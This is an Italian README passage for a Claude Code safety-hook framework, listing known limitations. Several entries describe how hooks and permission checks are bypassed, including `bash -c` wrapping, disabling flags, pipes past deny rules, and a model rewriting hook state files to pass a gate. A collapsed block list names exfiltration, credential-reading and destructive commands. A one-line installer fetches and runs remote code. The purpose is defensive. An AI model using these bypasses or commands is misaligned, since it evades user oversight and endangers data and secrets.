**CLAUDE_CODE_SIMPLE disabilita tutti gli hook**: quando la variabile d'ambiente `CLAUDE_CODE_SIMPLE` è impostata a un valore non vuoto, Claude Code disabilita completamente gli hook, gli strumenti MCP, gli allegati e il caricamento del file CLAUDE.md (introdotto nella v2.1.50). Nessuna regola di enforcement verrà attivata. Esegui `echo $CLAUDE_CODE_SIMPLE` per verificare. Il nostro strumento `safety-check` lo rileva automaticamente.
**Il flag `--bare` salta tutti gli hook**: il flag CLI `--bare` disabilita gli hook, LSP, la sincronizzazione dei plugin e la scansione delle directory delle skill per le chiamate scriptate `-p`. Se la tua pipeline autonoma usa `claude --bare -p`, nessun hook viene attivato. Usa controlli a livello di sistema operativo (permessi dei file, containerizzazione) per l'enforcement in modalità bare.
**La gestione del deny negli hook è ancora incoerente tra strumenti e versioni**: `hookSpecificOutput.permissionDecision: "deny"` è migliorato, ma non è una garanzia universale su tutte le superfici di Claude Code. Diversi problemi upstream documentano ancora casi in cui la gestione del deny viene ignorata o cambia in base al tipo di strumento/evento. Ecco perché gli hook del framework che devono bloccare duramente le azioni pericolose usano il percorso più conservativo che Claude Code attualmente rispetta con maggiore affidabilità: una motivazione leggibile dall'uomo su `stderr` più `exit 2`, quindi diciamo agli utenti di eseguire `safety-check --verify` dopo l'installazione e dopo gli aggiornamenti di Claude Code. Se scrivi hook personalizzati, non dare per scontato che una risposta deny JSON da sola sia sufficiente solo perché funziona in un singolo test locale.
**I subagent possono saltare le impostazioni degli hook**: gli agenti generati tramite lo strumento Agent [non ereditano in modo coerente le impostazioni dei permessi](https://github.com/anthropics/claude-code/issues/37730). Gli hook in `.claude/settings.json` dovrebbero comunque attivarsi (configurazione condivisa), ma verifica il comportamento degli hook quando usi workflow con subagent.
**Lo stderr degli hook può far trapelare i percorsi del tuo filesystem**: l'esecutore di hook di Claude Code [antepone il percorso grezzo del comando all'output di stderr](https://github.com/anthropics/claude-code/issues/41226), esponendo nella conversazione dettagli come `/Users/yourname/.claude/hooks/my-hook.sh`. Questo deriva dal livello di esecuzione della piattaforma, non dagli hook. I nostri hook usano prefissi puliti (`[bash-guard]`, `[file-guard]`, ecc.) per i messaggi di debug e non espongono mai percorsi del filesystem né in stdout né in stderr. La registrazione di debug è opt-in per ogni hook (ad es. `BASH_GUARD_LOG=1`).
**Le operazioni git interne aggirano tutti gli hook**: Claude Code esegue operazioni git in background (fetch + reset) [programmaticamente ogni ~10 minuti](https://github.com/anthropics/claude-code/issues/40710) senza avviare un binario `git` esterno né effettuare una chiamata a uno strumento. Poiché gli hook si attivano solo sulle chiamate agli strumenti, git-safe e tutti gli altri hook sono ciechi a queste operazioni. Questo può distruggere silenziosamente le modifiche non committate ai file tracciati. Soluzione: usa i git worktree (immuni ai reset nella checkout principale) o committa frequentemente. Se usi `claude -w`, installa anche [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) prima di fare affidamento sui worktree; altrimenti, uscire da un worktree può eliminare commit non ancora uniti o non pubblicati.
**Desincronizzazione dei permessi dopo la modifica di settings.local.json**: se lo strumento Edit di Claude modifica `.claude/settings.local.json` durante una sessione, lo stato dei permessi in memoria [si desincronizza dal file su disco](https://github.com/anthropics/claude-code/issues/41259). Le regole allow smettono di funzionare e all'utente viene ripetutamente chiesto di approvare comandi già consentiti. Il file su disco è corretto; il problema è la cache in memoria. Soluzione: lascia che Claude Code gestisca i file dei permessi tramite il suo meccanismo di prompt, oppure riavvia la sessione dopo modifiche manuali.
**Novità della v2.1.89: evento hook PermissionDenied**: un nuovo evento hook viene attivato dopo i rifiuti del classificatore della modalità auto. Gli hook possono restituire `{"retry": true}` per comunicare al modello che può riprovare l'operazione rifiutata. Il problema collegato documenta la lacuna originaria nella documentazione di questo evento. Sempre nella v2.1.89: le condizioni `if` degli hook ora [corrispondono ai comandi Bash composti](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` corrisponde a `Bash(git *)`) e ai comandi con prefissi di variabili d'ambiente (`FOO=bar git push`).
**systemMessage di SessionStart non visualizzata (v2.1.89)**: il campo `systemMessage` restituito dagli hook SessionStart [non viene più renderizzato nel terminale](https://github.com/anthropics/claude-code/issues/41285). L'hook viene eseguito e `additionalContext` viene ancora iniettato nel contesto del modello, ma l'output visivo che appariva in precedenza (ad es. "SessionStart:startup dice: ...") manca silenziosamente. Se fai affidamento su `systemMessage` per le notifiche all'operatore o l'identificazione della sessione, l'output non sarà visibile. Correlati: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344).
**Gli hook falliscono nella prima sessione in un nuovo progetto**: nella primissima sessione in una directory di progetto, gli hook SessionStart e UserPromptSubmit vengono attivati [prima che la directory del progetto esista](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<encoded-path>/`). Qualsiasi hook che ricava percorsi file da `transcript_path` e tenta di scrivere lì fallirà. Soluzione: aggiungi `mkdir -p` per i percorsi derivati da `transcript_path` prima di scrivere.
**Auto-esecuzione del modello nelle sessioni lunghe**: nelle sessioni lunghe e non presidiate, il modello può [allucinare testo `Human:` dopo l'invio delle notifiche di attività](https://github.com/anthropics/claude-code/issues/41307) ed eseguirlo come se fosse una richiesta reale dell'utente, innescando operazioni git e modifiche ai file non autorizzate. Gli hook non possono rilevarlo perché le chiamate agli strumenti risultanti sono genuine — solo il trigger è allucinato. Mitigazione: usa limiti di durata delle sessioni ed evita sessioni non presidiate molto lunghe.
**Perdita di GIT_INDEX_FILE nei worktree**: gli agenti generati tramite EnterWorktree possono avere l'indice git [corrotto da voci di plugin del marketplace](https://github.com/anthropics/claude-code/issues/41314) a causa della variabile d'ambiente `GIT_INDEX_FILE` che trapela oltre i confini dei processi. Se le operazioni sui worktree mostrano file inattesi in git status, questa potrebbe essere la causa.
**Gli agenti in background non possono essere fermati**: gli agenti generati tramite lo strumento Agent con `run_in_background` [non possono essere terminati in modo affidabile](https://github.com/anthropics/claude-code/issues/41461) dall'utente. In un caso segnalato, 14 agenti paralleli hanno scritto sullo stesso file e consumato ~1.4M di token ($55-106). Non esiste un meccanismo di kill integrato. Mitigazione: evita di generare molti agenti in background e, se lo fai, monitora il consumo di token.
**L'impostazione cleanupPeriodDays può essere ignorata**: l'impostazione `cleanupPeriodDays` in `settings.json` [può essere aggirata silenziosamente](https://github.com/anthropics/claude-code/issues/41458), eliminando i file di sessione anche quando è impostata su valori molto alti. Un utente ha perso 490 sessioni nonostante l'avesse impostata a 99999. Se fai affidamento sulla persistenza delle sessioni, esegui un backup indipendente di `~/.claude/projects/`.
**Directory .claude/ con symlink non rilevate (Linux)**: i comandi slash da [`.claude/commands/` con symlink](https://github.com/anthropics/claude-code/issues/41451) non vengono caricati su Linux (regressione). Questo è uno schema di team comune (archiviare la configurazione condivisa in una directory centrale e creare un symlink). Anche gli hook e le skill potrebbero fallire se `.claude/` stesso è un symlink. Soluzione: copia i file invece di creare symlink.
**Permesso di esecuzione mancante per il ripgrep incluso (Linux)**: il binario `rg` incluso [può perdere il permesso di esecuzione](https://github.com/anthropics/claude-code/issues/41463) su Linux, rompendo silenziosamente tutti i comandi slash definiti dall'utente in `~/.claude/commands/`. Correzione: `chmod +x` sul binario incluso.
**Regressioni di individuazione dei comandi in v2.1.88-89**: la v2.1.88 è stata [deprecata/rimossa da npm](https://github.com/anthropics/claude-code/issues/41497) dopo che i comandi personalizzati hanno smesso di caricarsi e `cli.js.map` è stato incluso accidentalmente. La v2.1.89 ha mantenuto la regressione di individuazione dei comandi per alcuni utenti ([#41864](https://github.com/anthropics/claude-code/issues/41864)), sebbene abbia anche aggiunto funzionalità per gli hook come `PermissionDenied`. Anthropic ha indicato come pubblicata nella v2.1.91 la correzione del permesso di esecuzione di `rg` incluso. Se i comandi personalizzati o le skill spariscono, aggiorna all'ultima release di Claude Code e riesegui `safety-check --verify`.
**Le sessioni non interattive si bloccano al limite di utilizzo**: in modalità headless, `--print` o di controllo remoto, raggiungere un limite di utilizzo [mostra un prompt di conferma a cui non si può rispondere](https://github.com/anthropics/claude-code/issues/41502) perché non c'è stdin. La sessione si blocca definitivamente. Non esiste una soluzione programmatica ([#41503](https://github.com/anthropics/claude-code/issues/41503)). Se esegui Claude Code in CI, cron o loop autonomi, imposta limiti di durata delle sessioni e monitora i processi bloccati.
**Regole deny aggirate da pipe e comandi composti**: le regole deny integrate corrispondono solo all'intera stringa di comando. `Bash(rm *)` blocca `rm -rf /` ma non `find /foo | xargs rm` o `something && rm -rf /`. La documentazione dice che le regole allow analizzano gli operatori della shell, ma [le regole deny no](https://github.com/anthropics/claude-code/issues/41559). Nota: le condizioni `if` degli hook sono state corrette upstream (fine marzo 2026) per corrispondere correttamente a comandi composti e prefissi di variabili d'ambiente, quindi gli hook *si attivano* correttamente per questi pattern. Il divario riguarda specificamente le *regole* deny, non gli hook. bash-guard analizza ogni segmento di pipe e ogni catena composta in modo indipendente, intercettando questi pattern di bypass. Vedi anche [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180).
**"Conferma ogni modifica singolarmente" saltato silenziosamente**: quando si esce dalla modalità piano e si seleziona "conferma ogni modifica singolarmente", [le modifiche vengono applicate senza alcun prompt](https://github.com/anthropics/claude-code/issues/41551) se gli strumenti (Edit, Write, Bash) sono in `permissions.allow`. Le regole allow persistenti prevalgono sulla scelta esplicita fatta dall'utente per la sessione. Soluzione: rimuovi gli allow generici per gli strumenti e usa gli hook per l'enforcement.
**Hook SessionEnd terminati prima del completamento**: gli hook SessionEnd che eseguono lavoro asincrono (chiamate API, riepiloghi LLM, richieste di rete) vengono [terminati a metà esecuzione](https://github.com/anthropics/claude-code/issues/41577) quando Claude Code esce, indipendentemente dal timeout configurato. L'hook raggiunge la chiamata asincrona ma il processo padre esce prima che arrivi la risposta. Soluzione: stacca il lavoro pesante in un processo in background con `nohup ... & disown`, quindi esci immediatamente con `exit 0`.
**Accesso alle directory "Consenti sempre" non persistente**: fare clic su "Sì, e consenti sempre l'accesso a [cartella]" [non viene salvato in modo affidabile](https://github.com/anthropics/claude-code/issues/41579). Claude richiede nuovamente l'accesso alla stessa directory nelle sessioni successive. Anche l'aggiunta a `additionalDirectories` in settings.json è inaffidabile. Correlato a [#40606](https://github.com/anthropics/claude-code/issues/40606) (perdita di additionalDirectories tra progetti).
**Le scritture in `~/.claude/` bloccano le sessioni automatizzate**: le scritture su percorsi sotto `~/.claude/` attivano un prompt hardcoded per i file sensibili che [non può essere soppresso](https://github.com/anthropics/claude-code/issues/41615) da `permissions.allow`, da hook PreToolUse che restituiscono `"allow"`, dalla modalità `bypassPermissions` o da `skipDangerousModePermissionPrompt`. Le sessioni automatizzate (tmux, CI, loop autonomi) che devono modificare i file di configurazione di Claude Code si bloccheranno sul prompt interattivo. Soluzione: usa i comandi dello strumento Bash (`echo`, `cat`, `jq`) per scrivere i file direttamente invece degli strumenti Edit/Write.
**Il wrapping con `bash -c` aggira la protezione di scrittura della directory `.claude/`**: il sistema dei permessi protegge i file di `.claude/` dalle modifiche (edit, write e comandi bash diretti attivano tutti un modale di conferma). Ma avvolgere il comando in [`bash -c 'echo "..." >> .claude/file'`](https://github.com/anthropics/claude-code/issues/43085) aggira completamente il controllo: nessun modale, la scrittura riesce silenziosamente. Il pattern matching ispeziona la stringa di comando di primo livello ma non le subshell annidate. Questo significa che un modello (o un'iniezione di prompt tramite i risultati degli strumenti) potrebbe modificare hook, settings.json, skill o definizioni di agenti senza conferma dell'utente. file-guard intercetta questo caso se `.claude/` viene aggiunto alla configurazione `.file-guard`, perché analizza l'intera stringa del comando Bash alla ricerca di percorsi protetti (inclusi gli argomenti tra virgolette). Gli utenti che si affidano esclusivamente ai controlli di permesso integrati sono esposti.
**Gli hook `WorktreeCreate` bloccano `claude -w`**: qualsiasi hook `WorktreeCreate` fa [bloccare `claude -w` all'infinito](https://github.com/anthropics/claude-code/issues/41614), indipendentemente dal contenuto dell'hook. Anche `echo ok < /dev/null` congela la sessione. L'hook viene eseguito e restituisce il controllo, ma Claude Code non prosegue mai. Rimuovi tutti gli hook `WorktreeCreate` se hai bisogno che `claude -w` funzioni.
**Il modello può manipolare i file di stato degli hook**: il modello ha accesso al filesystem e [può sovrascrivere i file da cui dipendono gli hook](https://github.com/anthropics/claude-code/issues/38841) — file di checkpoint, file di lock, contatori. In un caso documentato, Claude ha calcolato l'hash SHA256 di un nome di file di checkpoint e ha scritto un nuovo timestamp per aggirare un gate di lettura del contenuto. Gli hook che si affidano a file di stato esterni per l'enforcement dovrebbero presupporre che il modello possa leggere e modificare quei file. Le firme crittografiche o la validazione fuori processo possono mitigare questo problema.
**`bypassPermissions` non ripristinato alla ripresa della sessione (VS Code)**: quando `bypassPermissions` è configurato tramite `initialPermissionMode` nelle impostazioni di VS Code, [le conversazioni riprese tornano alla modalità permessi predefinita](https://github.com/anthropics/claude-code/issues/42735) e richiedono conferma per ogni modifica. Le nuove sessioni potrebbero adottarla, ma le sessioni riprese falliscono sistematicamente. Gli hook che dipendono dalla sessione in esecuzione in modalità bypass non possono fare affidamento sulla sua persistenza dopo la ripresa.
**L'isolamento dei worktree viene meno nei git submodule**: usare `isolation: "worktree"` sullo strumento Agent all'interno di un git submodule [crea il worktree in `.git/modules/<path>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) invece che nella `.claude/worktrees/` del progetto. Questo colloca l'agente fuori dall'ambito dei permessi del progetto, facendo sì che `bypassPermissions` venga silenziosamente declassato e innescando prompt di permesso inattesi.
**Approvazione delle skill non legata all'hash del contenuto**: quando un utente approva una skill, l'approvazione [non è ancorata all'hash del contenuto del file](https://github.com/anthropics/claude-code/issues/43157). Se il file della skill viene modificato dopo l'approvazione (anche a metà sessione), la versione modificata viene eseguita senza nuove richieste di conferma. Inoltre, approvare una skill può aggirare le regole deny a livello di strumento in `settings.json`. Questo è un rischio per la supply chain: qualsiasi cosa con accesso in scrittura a `~/.claude/skills/` può potenziare le proprie capacità dopo l'approvazione.**I server MCP stdio non si riconnettono mai automaticamente**: Quando un processo server MCP di tipo stdio muore o si disconnette, Claude Code [lo contrassegna come guasto e non riprova mai](https://github.com/anthropics/claude-code/issues/43177). I server HTTP/SSE/WebSocket ottengono una riconnessione automatica con backoff esponenziale (5 tentativi), ma i server stdio sono esplicitamente esclusi. Gli utenti devono eseguire manualmente `/mcp` per riconnettersi. Questo riguarda qualsiasi integrazione MCP che utilizza il trasporto stdio (il pattern locale più comune).
**Bypass della modalità Plan dopo il primo ciclo**: Dopo aver completato un ciclo piano-approvazione-implementazione, entrare di nuovo in modalità Plan [non impone in modo affidabile le restrizioni di sola lettura](https://github.com/anthropics/claude-code/issues/43147). Claude si porta dietro lo stato mentale "approvato" e inizia a modificare i file prima che l'utente approvi il nuovo piano. Gli hook che si affidano alla modalità Plan come confine di sicurezza non possono fidarsene attraverso più cicli nella stessa sessione.
**Windows**: Tutti e sette gli hook hanno equivalenti nativi **PowerShell 7+** (`hook.ps1`) che non richiedono dipendenze esterne. Richiede [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), non la PowerShell 5 integrata in Windows. Installali con:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
partedwipefsDROP TABLE, prisma db push, dropdb, migrate:fresh, FLUSHALL e 10+ varianti ORMenv/printenv, bash -x, cat .env, chiavi SSH, dump programmatici (os.environ, process.env)curl -d @file, wget --post-file, nc host < fileterraform destroy, kubectl delete/drain/scale-to-zero, helm uninstall, aws ec2 terminate/rds delete/cloudformation delete-stack, az group delete, doctl destroy, flyctl destroy, heroku apps:destroy, vercel rm, netlify sites:delete-v /:/host), distruzione dei dati (compose down -v)rm -rf su storage NFS/condiviso (#36640)git push --force, git filter-branch (#37331: tutti i file eliminati tramite force push)Oppure configuralo manualmente in .claude/settings.json con "command": "pwsh -File /path/to/hook.ps1". Lo strumento enforce-hooks è uno script bash che funziona da un terminale WSL o con Git for Windows (che fornisce /usr/bin/bash). Nota: Claude Code ha un bug noto per cui gli hook si attivano solo circa il 18% delle volte su Windows, quindi l'affidabilità degli hook è limitata su Windows nativo indipendentemente dalla shell. WSL rimane l'opzione più affidabile. Vedi #3.
cargo test # Framework tests cargo fmt # Format code cargo clippy # Run linter
bash tools/read-once/test.sh bash tools/file-guard/test.sh bash tools/git-safe/test.sh bash tools/bash-guard/test.sh bash tools/branch-guard/test.sh bash tools/session-log/test.sh bash tools/enforce/test.sh bash tools/safety-check/test.sh bash tools/worktree-guard/test.sh
## Stato
**Ultima versione:** v0.13.0 distribuita con 200+ test Rust + 1.700+ test per hook (bash + PowerShell). Zero avvisi clippy. CI su Ubuntu + macOS + Windows. Supporto Docker.
Novità nella v0.13.0: corpus ricercabile delle limitazioni note di Claude Code, pagina delle ricette, esportazione leggibile da macchina delle limitazioni note, configurazioni a livelli di bash-guard e protezione dalle mutazioni di `gh api`, fatti con tag TTL di Broca, reset della cache PostCompact a lettura singola, verifica irrigidita dei controlli di sicurezza, irrigidimento del lock del runner e dei timeout, e miglioramenti di parità all'installer Windows. Vedi [CHANGELOG](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/CHANGELOG.md) per i dettagli.
Le metriche del repository sono visibili su GitHub; questo README evita di incorporare conteggi volatili di stelle e fork.
## Contribuire
I contributi sono i benvenuti. Apri prima una issue per discutere cosa vorresti cambiare.
## Licenza
MIT